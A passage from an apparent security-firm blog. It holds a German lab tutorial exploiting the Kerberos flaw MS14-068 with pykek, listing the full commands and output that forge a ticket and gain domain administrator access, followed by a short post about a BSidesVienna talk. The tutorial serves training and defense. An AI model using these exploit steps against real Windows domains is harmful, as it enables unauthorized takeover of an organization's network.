[2] https://github.com/SAMLRaider/SAMLRaider
[3] https://www.oasis-open.org/standards#samlv2.0
[4] https://github.com/RUB-NDS/BurpSSOExtension
[5] https://www.blackhat.com/us-15/arsenal.html#samlyze
[6] http://www.hsr.ch/
[7] https://www.hacking-lab.com/

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS): 192.168.200.64
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): 192.168.200.64 zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC 192.168.200.64
    […]
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    […]
    |_  System time: 2014-12-07T15:07:11+01:00
    […]
    
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
    […]
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    Password:
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available

 

Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.

Gegenmassnahmen

Installation des “out-of-band” Patch MS14-068

Credits

Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.

Referenzen

[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

Presentation at BSidesVienna

On the last Saturday the 22nd of November, I attended BSidesVienna 2014 to deliver a talk about BurpSentinel. This tool is a Burp Suite extension giving better control over semi-automated requests sent to a given web application page. The presentation also covered aspects on automated Cross-Site Scripting and SQL injection detection. Despite talking early in the day (10 am), the room was pretty crowded a few minutes into the presentation, and the attendees quite interested.

vienna

The location of BSidesVienna, an old cinema, was awesome and located right in the middle of Vienna, close to the Art district. Noteworthy is that all drinks, food and t-shirts were completely free, which is impressive for a free event! Other presentations covered e.g. the (in)security of fitness trackers, Android malware analysis or the comparison between the Manhattan project and the Snowden revelations. The slides will be available on the website soon.

Finally, I want to thank the organizers for the cool event, and Compass Security AG to sponsor the trip to Vienna.

Slides of the presentation: